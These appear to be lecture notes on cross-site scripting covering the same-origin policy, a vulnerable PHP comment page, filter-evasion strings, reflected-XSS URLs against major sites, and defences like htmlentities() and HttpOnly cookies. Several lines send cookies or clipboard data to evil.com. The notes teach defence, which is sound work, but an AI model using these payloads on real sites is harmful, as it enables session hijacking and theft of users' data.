Introduction Cross site scripting (XSS) is one of the best known types of web attacks. XSS results in the insertion of malicious (JavaScript) code into a web-page that the user trusts. The user unknowingly accesses the page and executes the script which could cause credentials and cookies to be stolen, key logging, Denial of Service . . . XSS is the most prevalent web-vulnerability, appearing in around 70% of all websites and accounting for around 20% of Common Vulnerabilities and Exposures vulnerabilities. JavaScript Security A JavaScript program downloaded in the browser from a web-page executes in a Java-like ‘sand-box’ that limits the local system resources that it may access. JavaScript’s same-origin security policy prevents scripts loaded from one origin (Web site) from getting or setting properties of a document loaded from a different origin. This policy prevents hostile code from one origin from taking over or manipulating documents from another. More precisely, an origin is identified by domain, port and application protocol. Without this policy, JavaScript from a hostile site could do any number of undesirable things such as snoop keypresses while you’re logging in to a site in a different window, wait for you to go to your online banking site and insert spurious transactions, steal login cookies from other domains, etc. Suppose that when Bob visits the website www.evil.com, the response includes the JavaScript <p><script>alert(’Code from Alice’);</script></p> Bob’s browser executes the script as it obeys the same-origin policy. Bob visits www.ucc.ie and a new browser window pops up (JavaScript also originates from www.ucc.ie). var w = window.open(http://www.ucc.ie); // Wait a while, hoping they’ll start using the newly opened window. // After 10 seconds, let’s try to see what URL they’re looking at! var snoopedURL; setTimeout("snoopedURL = w.location.href()", 10 * 1000); Bob’s browser executes the script as it obeys the same-origin policy. However, suppose that this script was loaded from www.evil.com, then the w.location.href would fail/be blocked by the browser as it references a different document origin. 1 Many of the variables that can be accessed by a JavaScript program are relative to the current document. For example, the following script sends any cookies related to the current document to the site www.evil.com. <script> document.location = ’http://www.evil.com/steal.php?cookies=’ + document.cookie </script> If the page www.evil.com embedded this JavaScript then it will send any cookies related to this document/website to itself. If Alice’s web-site foo.bar embedded this JavaScript, then when Bob visits her site the program sends his cookies to www.evil.com. In principle this is not an issue since its Alice’s decision to include this code on her website and in visiting Alice’s web-page, Bob presumably trusts Alice’s intentions.... XSS Example, the Vulnerability Alice’s web application allows users to enter comments on a web-page. The following form is used. <form action="comment.php" method="post" /> <p>Name: <input type="text" name="name" /><br /> Comment: <textarea name ="comment" rows="10" cols="60"></textarea><br /> <input type="submit" value="Add Comment" /></p> </form> The application displays comments to other users who visit the page. Suppose that the comment-viewing application (web-page) includes the following code to output a single $comment and corresponding $name. <? php echo "<p>$name writes:<br />"; echo "<blockquote>$comment</blockquote>"; ?> XSS Example, Exploiting the Vulnerability A malicious user of this application can embed any html within their name and comment (request) and this html will form part of the application response to another user reading the comments. For example, Malicious Mike’s request includes: 2 $name=Mike $comment=<p><script>alert(’Code from Alice’);</script></p> When Bob reads Mike’s comment, the server response includes the HTML Mike writes:<br /> <blockquote><p><script>alert(’Code from Alice’);</script></p> </blockquote> and a pop-up message appears on Bob’s screen! This is an example of a fairly benign attack. However, suppose that malicious Mike makes a request to comment.php that includes (in $comment) <script> document.location = ’http://evil.com/steal.php?cookies=’ + document.cookie </script> Now, when Bob views Mike’s comment on Alice’s web site, Bob’s cookies (for Alice’s webapplication/site) are sent to evil.com. This attack occurs because malicious Mike manages to embed his own malicious code in the HTML response from Alice to Bob. XSS Attack Payloads The above example demonstrates cookie-stealing code as XSS payload (session hijacking). Other kinds of payload include the following. Virtual Defacement that does not modify the underlying server-data but interferes with the way that it is rendered on a web-page. Trojan Horse. Injected XSS code adds new functionality to web-site. For example, asking the user for credit-card details, etc. Masquerading user. The JavaScript code performs some action (eg administrative) as the user. JavaScript that directly attacks the user. For example, other applications may use the clipboard but not clear it after use. Steal clipboard data with ’http://evil.com/steal.php?clip=’+window.clipboard.getData(’Text’); (of course, this attack is not limited to just XSS) Detecting XSS Vulnerabilities A simple strategy for testing for XSS vulnerability is to use attack string: "><script>alert(document.cookie)</script> which should be submitted as every parameter to every page of an application and responses monitored. 3 Some applications use simple blacklist filters that look for <script> strings within request parameters and remove, encode or block the request. They might not detect all possible configurations of a script call: "><script>alert(document.cookie)</script> "><ScRiPt> alert(document.cookie)</ScRiPt> "%3e%3csript%3ealert(document.cookie)%3c/script%3e ... Simply checking for <script>, etc., may be problematic if the response already includes <script>: the attacker may be able to inject their own code within this response. For example, the php code may include echo "<script>var a=’$myParameter’; .... </script>" and the attacker simply terminates the single quotation marks around $myParameter and injects their own code into the request $myParameter= ’ \’; alert(document.cookie); ’ and the resulting response looks like <script>var a=’ ’; alert(document.cookie); .... </script> Avoiding XSS XSS occurs as a result of a poorly implemented Web-application not properly filtering and cleaning its input/output data. Avoid XSS by Disable scripting in the browser. Educate users. Validate input. Filter output. Encode properly. Avoiding XSS in PHP You should at least use htmlentities() to escape any data that you send to the client. This function converts all special characters into their HTML entity equivalents. Any character that the browser interprets in a special way is converted to its HTML entity so that its original value is preserved. $cleanName=htmlentities($name, ENT_QUOTES, ’UTF-8’); $cleanComment=htmlentities($comment, ENT_QUOTES, ’UTF-8’); echo "<p>$cleanName writes:<br />"; echo "<blockquote>$cleanComment</blockquote>"; This converts: & to &amp; ’’ (double quote) to &quot; ’ (single quote) to &#039; < (less than) to &lt, and > (greater than) becomes &gt. 4 Use html entity decode() to retrieve original string, if needed. Reflected XSS The XSS attacks in the slides above are called persistent XSS attacks whereby attacker manages to embed Javascript into your site’s database. A reflective XSS attack occurs when the attacker embeds JavaScript into a link to your site and tricks a user in to following it. http://www.facebook.com/srch.php?nm=xss%00<script>alert(’XSS’)</script> http://www.youtube.com/edit_playlist_info?p=’%22%3E%3Cscript%20src=ht tp://ckers.org/s%3E http://groups.google.com/group/rec.sport.prowrestling/browse_thread/thread/1ab38554971acfc9’)&+eval(alert(document .cookie))&+eval(’?tvc=2 http://search.live.com/images/results.aspx?q=1&rst=21&FORM=PEIR"><scrip t>alert(’securitylab.ru’)<script> (All from http://xssed.com/) Detecting XSS in the Browser In principle, it is a good idea to disable scripts in the browser and use a plugin such as NoScript to selectively enable scripts for ‘trusted sites’. Simple reflective XSS attacks are relatively easy to detect in the browser. For example, MS Internet Explorer8 and the Firefox plugin NoScript blocks reflective XSS attacks. Of course, these just provide defense in depth for the client and do not ‘protect’ the server. Conclusions A cross site scripting vulnerability provides an attacker with a way to bypass JavaScript’s same-origin security policy. You should filter and clean all input data to a web application and check that it is as expected. Web applications should also escape everything on output and only un-escape stuff that you know is safe and that you know contains markup you want to execute. Developer should test web-application for XSS by injecting attack strings (automated tools available). 5 Browser controls provide useful defense-in-depth/additional check for users but do not make the web-application any more secure. Using HTTPOnly Header in HTTP Response If the HttpOnly flag in the HTTP response header is set then the cookie cannot be accessed through a client side script (if the browser supports this flag). As a result, even if a XSS flaw exists, and a user accesses a link that exploits this flaw, the browser will not reveal the cookie to a third party. If a browser does not support HttpOnly and a website attempts to set anHttpOnly cookie, the HttpOnly flag will be ignored by the browser, thus creating a traditional, script accessible cookie. This header can be set in PHP as default in php.ini using session.cookie httponly, or programatically by setting parameter http-only to TRUE: session_set_cookie_params(lifetime[,path][,domain][,secure][,http-only]) 6